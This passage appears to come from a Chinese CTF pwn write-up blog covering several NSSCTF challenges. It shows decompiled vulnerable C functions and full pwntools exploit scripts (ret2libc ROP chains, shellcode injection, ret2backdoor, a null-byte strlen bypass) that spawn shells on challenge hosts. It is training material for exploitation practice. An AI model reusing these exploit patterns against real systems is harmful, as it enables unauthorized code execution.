pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_sb</span>() : <span class="keyword">return</span> libc_base + libc.sym[<span class="string">&#x27;system&#x27;</span>], libc_base + <span class="built_in">next</span>(libc.search(<span class="string">b&#x27;/bin/sh\x00&#x27;</span>))</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">ip = <span class="string">&quot;node5.anna.nssctf.cn&quot;</span></span><br><span class="line">port = <span class="number">22626</span></span><br><span class="line">p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line"> </span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc.so.6&#x27;</span>)</span><br><span class="line">rop = ROP(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">rdi = rop.find_gadget([<span class="string">&#x27;pop rdi&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">ret = rop.find_gadget([<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">rl(<span class="string">&quot;Gift :&quot;</span>)</span><br><span class="line">puts_addr = <span class="built_in">int</span>(p.recvuntil(<span class="string">&quot;\n&quot;</span>,drop=<span class="literal">True</span>),<span class="number">16</span>)</span><br><span class="line">success(<span class="string">&quot;puts addr: &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(puts_addr))</span><br><span class="line">libc_base = puts_addr - libc.sym[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">system_addr,bin_sh_addr = get_sb()</span><br><span class="line"></span><br><span class="line">offset = <span class="number">264</span></span><br><span class="line">payload = flat([cyclic(offset),ret,rdi,bin_sh_addr,system_addr])</span><br><span class="line"><span class="comment"># print(puts_addr)</span></span><br><span class="line">sl(payload)</span><br><span class="line">inter()</span><br></pre></td></tr></table></figure><h3 id="SWPUCTF-2022-新生赛-shellcode？"><a href="#SWPUCTF-2022-新生赛-shellcode？" class="headerlink" title="[SWPUCTF 2022 新生赛]shellcode？"></a>[SWPUCTF 2022 新生赛]shellcode？</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  init(argc, argv, envp);</span><br><span class="line">  mmap((<span class="type">void</span> *)<span class="number">0x30303000</span>, <span class="number">0x1000</span>uLL, <span class="number">7</span>, <span class="number">50</span>, <span class="number">-1</span>, <span class="number">0LL</span>);</span><br><span class="line">  read(<span class="number">0</span>, (<span class="type">void</span> *)<span class="number">0x30303000</span>, <span class="number">0x64</span>uLL);</span><br><span class="line">  MEMORY[<span class="number">0x30303000</span>]();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>申请权限</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="comment"># def get_sb() : return libc_base + libc.sym[&#x27;system&#x27;], libc_base + next(libc.search(b&#x27;/bin/sh\x00&#x27;))</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">ip = <span class="string">&quot;node5.anna.nssctf.cn&quot;</span></span><br><span class="line">port = <span class="number">20999</span></span><br><span class="line">p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line"> </span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line"><span class="comment">#libc = ELF(&#x27;./libc-2.23-x64.so&#x27;)</span></span><br><span class="line">sh = asm(shellcraft.sh())</span><br><span class="line"></span><br><span class="line">sl(sh)</span><br><span class="line">inter()</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="HNCTF-2022-WEEK2-ez-backdoor"><a href="#HNCTF-2022-WEEK2-ez-backdoor" class="headerlink" title="[HNCTF 2022 WEEK2]ez_backdoor"></a>[HNCTF 2022 WEEK2]ez_backdoor</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">__int64 <span class="title function_">vuln</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  _BYTE buf[<span class="number">256</span>]; <span class="comment">// [rsp+0h] [rbp-100h] BYREF</span></span><br><span class="line"></span><br><span class="line">  read(<span class="number">0</span>, buf, <span class="number">0x140</span>uLL);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0LL</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>注意一下栈对齐</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="comment"># def get_sb() : return libc_base + libc.sym[&#x27;system&#x27;], libc_base + next(libc.search(b&#x27;/bin/sh\x00&#x27;))</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">ip = <span class="string">&quot;node4.anna.nssctf.cn&quot;</span></span><br><span class="line">port = <span class="number">28631</span></span><br><span class="line">p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line"> </span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">rop = ROP(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">ret = rop.find_gadget([<span class="string">&quot;ret&quot;</span>])[<span class="number">0</span>]</span><br><span class="line">offset = <span class="number">0x100</span> + <span class="number">8</span></span><br><span class="line">backdoor = elf.sym[<span class="string">&#x27;backdoor&#x27;</span>]</span><br><span class="line">payload = flat([cyclic(offset),ret,backdoor])</span><br><span class="line">sl(payload)</span><br><span class="line">inter()</span><br></pre></td></tr></table></figure><h3 id="HUBUCTF-2022-新生赛-singout"><a href="#HUBUCTF-2022-新生赛-singout" class="headerlink" title="[HUBUCTF 2022 新生赛]singout"></a>[HUBUCTF 2022 新生赛]singout</h3><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">-&gt; % nc node5.anna.nssctf.cn 23406</span><br><span class="line">Here is your shell !,get you flag</span><br><span class="line">root@pwn:~<span class="comment"># tail *</span></span><br><span class="line">root@pwn:~<span class="comment"># sh: 1: flag.txt: not found</span></span><br><span class="line">root@pwn:~<span class="comment"># tail ./*</span></span><br><span class="line">root@pwn:~<span class="comment"># ./flag.txt: 1: ./flag.txt: NSSCTF&#123;a015c1f8-1b81-4fda-8a54-48718370d2e6&#125;: not found</span></span><br><span class="line">root@pwn:~<span class="comment"># </span></span><br></pre></td></tr></table></figure><h3 id="LitCTF-2023-狠狠的溢出涅"><a href="#LitCTF-2023-狠狠的溢出涅" class="headerlink" title="[LitCTF 2023]狠狠的溢出涅~"></a>[LitCTF 2023]狠狠的溢出涅~</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> buf[<span class="number">91</span>]; <span class="comment">// [rsp+10h] [rbp-60h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int8 v5; <span class="comment">// [rsp+6Bh] [rbp-5h]</span></span><br><span class="line">  <span class="type">int</span> v6; <span class="comment">// [rsp+6Ch] [rbp-4h]</span></span><br><span class="line"></span><br><span class="line">  v6 = <span class="number">0</span>;</span><br><span class="line">  setbuf(<span class="built_in">stdin</span>, <span class="number">0LL</span>);</span><br><span class="line">  setbuf(<span class="built_in">stdout</span>, <span class="number">0LL</span>);</span><br><span class="line">  setbuf(<span class="built_in">stderr</span>, <span class="number">0LL</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Leave your message:&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, buf, <span class="number">0x200</span>uLL);</span><br><span class="line">  v5 = <span class="built_in">strlen</span>(buf);</span><br><span class="line">  <span class="keyword">if</span> ( v5 &gt; <span class="number">0x50</span>u )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;hacker&quot;</span>);</span><br><span class="line">    <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Ok,Message Received&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>发现了<code>strlen</code>​存在<code>\x00</code>​截断，然后打ret2libc即可，由于91注意对齐</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_sb</span>() : <span class="keyword">return</span> libc_base + libc.sym[<span class="string">&#x27;system&#x27;</span>], libc_base + <span class="built_in">next</span>(libc.search(<span class="string">b&#x27;/bin/sh\x00&#x27;</span>))</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">ip = <span class="string">&quot;node4.anna.nssctf.cn&quot;</span></span><br><span class="line">port = <span class="number">28631</span></span><br><span class="line">p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line"> </span><br><span class="line">elf = ELF(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line"></span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc-2.31.so&#x27;</span>)</span><br><span class="line">rop = ROP(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">rdi = rop.find_gadget([<span class="string">&#x27;pop rdi&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">ret = rop.find_gadget([<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">info(<span class="string">&quot;pop rdi;ret address: &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(rdi))</span><br><span class="line">offset = <span class="number">0x60</span> + <span class="number">8</span></span><br><span class="line">payload1 = flat([ <span class="string">b&#x27;\x00&#x27;</span>+cyclic(offset-<span class="number">1</span>),rdi,elf.got[<span class="string">&#x27;puts&#x27;</span>],elf.plt[<span class="string">&#x27;puts&#x27;</span>],elf.sym[<span class="string">&#x27;main&#x27;</span>]])</span><br><span class="line">sl(payload1)</span><br><span class="line">puts_addr = get_addr()</span><br><span class="line">info(<span class="string">&quot;puts addr: &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(puts_addr))</span><br><span class="line">libc_base = puts_addr - libc.sym[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line"></span><br><span class="line">system_addr,bin_sh = get_sb()</span><br><span class="line"></span><br><span class="line">payload2 = flat([ <span class="string">b&#x27;\x00&#x27;</span>+cyclic(offset-<span class="number">1</span>),ret,rdi,bin_sh,system_addr])</span><br><span class="line">sl(payload2)</span><br><span class="line"></span><br><span class="line">inter()</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="HNCTF-2022-Week1-safe-shellcode"><a href="#HNCTF-2022-Week1-safe-shellcode" class="headerlink" title="[HNCTF 2022 Week1]safe_shellcode"></a>[HNCTF 2022 Week1]safe_shellcode</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>):</span><br><span class="line">p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>):</span><br><span class="line">p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>):</span><br><span class="line">p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>):</span><br><span class="line">p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>():</span><br><span class="line">p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>():</span><br><span class="line"><span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>):</span><br><span class="line">p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>():</span><br><span class="line">p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>, <span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">    context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">    p = remote(<span class="string">&#x27;node5.anna.nssctf.cn&#x27;</span>, <span class="number">29291</span>)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    p = process(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># elf = ELF(&#x27;./pwn&#x27;)</span></span><br><span class="line"><span class="comment">#libc = ELF(&#x27;./libc.so.6&#x27;)</span></span><br><span class="line">s(<span 